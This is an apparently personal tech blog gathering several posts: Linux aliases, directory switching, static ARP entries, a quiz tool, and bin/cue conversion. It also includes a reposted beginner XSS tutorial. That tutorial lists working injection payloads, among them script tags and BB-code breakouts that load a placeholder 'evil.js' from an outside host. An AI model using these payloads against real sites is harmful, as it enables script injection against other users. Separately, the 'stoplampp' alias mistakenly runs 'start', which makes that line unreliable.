Useful Aliases To Make Things Easier In Linux

In this post we will see some of the useful aliases that I have made to work faster while I'm working in my system. From that, you can figure out such useful aliases for yourself. With this little customization, you will find so much ease and speed in doing different tasks you need to perform repeatedly.


Either you are a regular linux user or system administrator or tech-geek, you will want to make use of alias to makes several things shorter and easier.

Temporary aliases can be created using the alias command in the terminal. So to test the aliases I've posted below, you can type them in the terminal to see the effect temporarily. If you want to make aliases permanent, you can edit ~/.bashrc file and add those aliases inside this file. Even better, to separate aliases from the .bashrc file, you can put all your aliases by creating a new file ~/.bash_aliases and paste all your aliases in this file. Either way, you'll achieve the permanent aliases for yourself and you'll be finding things going easy and fast for you.

Quick Directory Jumps

alias www='cd /opt/lampp/htdocs/' #Navigating to my web root using www command(actually alias)
alias moviez='cd /samar/data/gallery/movies/' #Navigating to my movies folder by typing moviez

Getting out from deep directory structure

alias cd1='cd ..'
alias cd2='cd ../..'
alias cd3='cd ../../..'
alias cd4='cd ../../../..'
alias cd5='cd ../../../../..'
alias cd6='cd ../../../../../..'

The above aliases can help you while you are inside deep directory structure and want to get out to certain outer level in the same structure.

Shortcuts To Frequently Used Commands

alias runlampp='sudo /opt/lampp/lampp start' #run lampp server bundle
alias stoplampp='sudo /opt/lampp/lampp start' #stop lampp server bundle
alias checkmail='grep -in "Subject:" /var/mail/$USER' #overview of mail
alias myserverlogin='ssh netadmin@192.168.0.1 -p 222 -X' #ssh login to server
alias rootnaut='sudo nautilus /' #open root nautilus file explorer

With this post, what I would like to say is that there is no limit in making these aliases, eventually you will find the necessary aliases for yourself. If you have any other useful general purpose aliases, please feel free to share as the comment.

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Fast Switching To Previous Directory In Linux Terminal

I had a scenario in which I had to switch between two directories frequently while I was working on the remote server over SSh. Typing the directory paths frequently was getting so tedious that I had to know some way to switch between two directories with a single short command. Here is a small tip that will be useful in such cases.

I am presenting my scenario and you'll be able to adapt with your own scenario. So following are two directories I keep on working always.

/opt/lampp/htdocs/
and
~/gateway/bandMan/

So I have the scenario something like below.

cd /opt/lampp/htdocs/

I cd to the first directory with the command above and then perform series of numerous commands and then suddenly I've to go back to the second directory. And I do so by following command:

cd ~/gateway/bandMan/

Again, after changing the directory, I perform several commands and after finishing my tasks on this folder, I need to switch back to previous directory. And I type the following command:

cd -

How it works
This information is for the tech enthusiasts who like to know how it works. When I navigate to another directory from the shell for the first time, a new environment variable OLDPWD is set which stores the path for previous directory before the last cd command was executed. Now what cd - does is switch to the path that OLDPWD variable is storing. If OLDPWD is empty, you will see the "bash: cd: OLDPWD not set" error.

Isn't it so simple? I hope you like this small tip. :)


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Art of hacking 3 - spyd3rm4n's guide to hacking

This series of articles can be very useful for many beginners out there but after the thedefaced and darkmindz went down, I haven't really seen these articles anywhere else. So I thought to share this article over here. Its NOT written by me and I would like to provide the full credit to the original author as well.

Previous articles:
Part 1

Part 2


spyd3rm4n's guide to XSS Injection

Part 3

[0x01] XSS_Definition
[0x02] Pen-Testing
[0x03] Common Fields
[0x04] Escaping_BB_Code
[0x05] Image_XSS


Sub XSS_Defnition{

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Recently, vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits. Cross-site scripting was originally referred to as CSS, although this usage has been largely discontinued.

-Taken from Wikipedia Wikipedia if you want to read more.
}

Sub Pen-Testing{

Pen-Testing, short for Penetration Testing. Pen-testing with XSS can be very easy, or very hard. It depends on the person doing this. Some common queries when pen-testing a field can include but are not limited to:

<script>alert(1)</script>
<script language="javascript">alert(1)</script>
<script src="http://site.com/evil.js">
<img src="http://site.com/evil.js">


A great site to find some of the most useful queries it http://ha.ckers.org/xss.html

Now, once you've tested the fields, if the following page returned contains any sort of popup/javascript. You know it's vulnerable.

}

Sub Common_Fields{

Some of the most common fields that I have noticed are search fields. These will most likely return the following page showing the input.

Example: I search for "Orson Wells" and the page returned: 0 Results for query "Orson Wells" or something of that sort.

There are simple ways to get around this, since I am a php coder, my favorite way is the htmlentities(), you can also use strip_tags().

Some other search engines might not show what you searched for on the page itself, but in the field, the value is still there.

If this is the case, you can search for '"/></>[XSS]

this should escape the html field value, if it is not sanitized correctly and execute the [XSS] on the page.

Basically, any field that asks for user input that is either POST or GET and is in the source of the following page, can be cross-site scripted if not properly sanitized.

}

Sub Escaping_BB_Code{

This is one of my favorite ways to XSS a site. Some people decide to create their own BB code or use on that is poorly sanitized. This can be very easy to exploit.

Let's say there is an option to make my font red using hte [font color="red"] BB code.

Well, if I post a message with [font color="red"]hi[/font] and I look at the next page's source code, I see <font color="red">hi</font>,

I will re-post using

[font color="red"></font><script>alert(/hi/)</script>]hi[/font]

And if it is poorly sanitized, the page following it would contain an alert box saying /hi/.



There are so many different ways to escape BB code it is almost too easy. Some other sites have [IMG]. This one can be easy also.

[IMG]http://site.com/image"></><script src=http://site.com/evil.js>[/IMG]

would have

<img src="http://site.com/image"></><script src=http://site.com/evil.js>

}

Sub Image_XSS{

This is probably the best discovery to XSS since, whenever. With this, you can place javascript inside an image and have it execute in Internet Explorer.

Reffer to: http://milw0rm.com/video/watch.php?id=58

}


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Adding Static ARP Entry In ARP Table To Prevent ARP Spoofing Attacks

Since my hostel network is a switched network, there has been number of attempts of ARP spoofing attacks so I thought to share this small tip to prevent possible ARP spoofing attacks. Adding static ARP entry of the main server in your PC would possibly prevent RP spoofing attacks however I would warn you that some people have been saying that this is not still foolproof method. Theoretically I feel adding static ARP entries in the ARP table is the ultimate solution to prevent ARP spoofing and poisoning attacks.

Linux

Anyway, in linux its pretty straight-forward and the following command would add new static ARP entry:

sudo arp -s IP_Addr MAC_Addr

Replace the IP_Addr and MAC_Addr fields with the necessary IP address and MAC address. For example, to add static ARP entry of my local gateway with IP 192.168.0.1 and MAC 00:14:d1:10:ea:1c, I would do:

sudo arp -s 192.168.0.1 00:14:d1:10:ea:1c

To view all the entries in your system's ARP table, type the following command:

arp -a

And you should see one of the entries similar to kubh-gateway.local (192.168.0.1) at 00:14:d1:10:ea:1c [ether] PERM on eth0.

Windows

Similar command as discussed above should work in Windows XP, however Windows 7 gave some problem while using the above command. I had a test on how to do that and I'm posting the series of screenshots on how to make static ARP entry in windows 7. Btw, I'm sorry that I'm not windows user and hence can't give much details.

arp -a output at beginning

arp -s failure due to lack of privilege

Running command prompt as admin

Adding static ARP entry

arp -a final output

Please go through the given screenshots to understand the steps done while adding static ARP entries in windows 7.


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GooQuiz v. 0.1 Released : Useful For Googling Challenge

GooQuiz is a small web based tool to use as a networked googling quiz software. This tool was developed for IT Meet 2011 event organized by Kathmandu University Computer Club on Dec 4-5, 2011.

The tool allows any number of users to access the system and participate in the googling quiz. A question is given and its answer has to be given within the allocated time after using the google search engine. The person to answer the question first wins the game.

Visit the SourceForge Page

Installation:

- Copy all the files in the folder "googling" to your web folder.
- Give proper permission to the ./pages/question.php file to make it writable. (eg. chmod u+x pages/question.php)
- Open MySQL interface of your choice, create a database called googling and then import dump.sql
- Open ./lib/classes/DBConnection.php and then set the correct database server, username and password.
- Finally open ./config/config.php and set the different configurations as per your need.
- Admin panel is located at ./admin/ and if you need to access admin panel from remote computers, set the $localonly = 0.
- Finally, this tool is yet to be completed and requires little bit techie person to handle it. Addition of questions and few other stuffs should be done from MySQL interface.

Coding might be rough since I had to do it in a single night within very minimum time available. And a lot of stuffs are not user-friendly and admin-friendly. Maybe I'll extend it in the next year IT Meet event. Till then, cya. Bye.

And I would like to thank Brisha for quickly designing the layout of the tool.



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Winners Of GIVEAWAY

As a celebration of our 40k page views, we have conducted GIVEAWAY in early November and the winners of the GIVEAWAYS are:

Suman Ghimire for Emsisoft malware activation key
Supriya Shrestha for recharge charge
The winners are requested to contact winthin 48 hours to claim their prizes. In case of exceeding those 48 hour, the new winner will get a chance .. HAPPY GIVEAWAY :)


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Converting .CUE/.BIN Files To .ISO Format

Bchunk is a CD image format conversion tool that is capable of converting CD images from bin/cue to iso/cdr formats. Converting a .bin/.cue file to .iso can be done by using the bchunk command line tool.

The bin/cue format is used by some non-Unix cd-writing software, but is not supported on most other cd-writing programs. image.bin is the raw cd image file. image.cue is the track index file containing track types and offsets. basename is used for the beginning part of the created track files.

The produced .iso track contains an ISO file system, which can be mounted through a loop device on Linux systems, or written on a CD-R using cdrecord. The .cdr tracks are in the native CD audio format. They can be either written on a CD-R using cdrecord -audio, or converted to WAV (or any other sound format for that matter) using sox.

An example of this is:

bchunk image.bin image.cue image.iso

Following are the available switches in the command, explore them if you need them.

OPTIONS
-v Makes binchunker print some more unnecessary messages, which should not be of interest for anyone.

-w Makes binchunker write audio tracks in WAV format.

-s Makes binchunker swap byte order in the samples of audio tracks.

-p Makes binchunker go into PSX mode and truncate MODE2/2352 tracks to 2336 bytes at offset 0 instead of normal 2048 bytes at offset 24.

-r Makes binchunker output MODE2/2352 tracks in raw format, from offset 0 for 2352 bytes. Good for MPEG/VCD.

To install this tool on ubuntu, open the terminal and type:

sudo apt-get install bchunk

I hope it helps. :)


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Solution For No Ethernet(LAN) In Ubuntu [That Worked For Me]

Not a tutorial but a quick note, I don't know if this works for you or not but this worked for me. Earlier, my system was not showing the ethernet interface and I tried lots of stuffs to find the solution. Just a thought came across my mind and then I turned off my laptop and removed the battery and then inserted the battery after a while. On booting to the system, I found the ethernet to be working. Maybe this might help you sometimes so putting up this small note.




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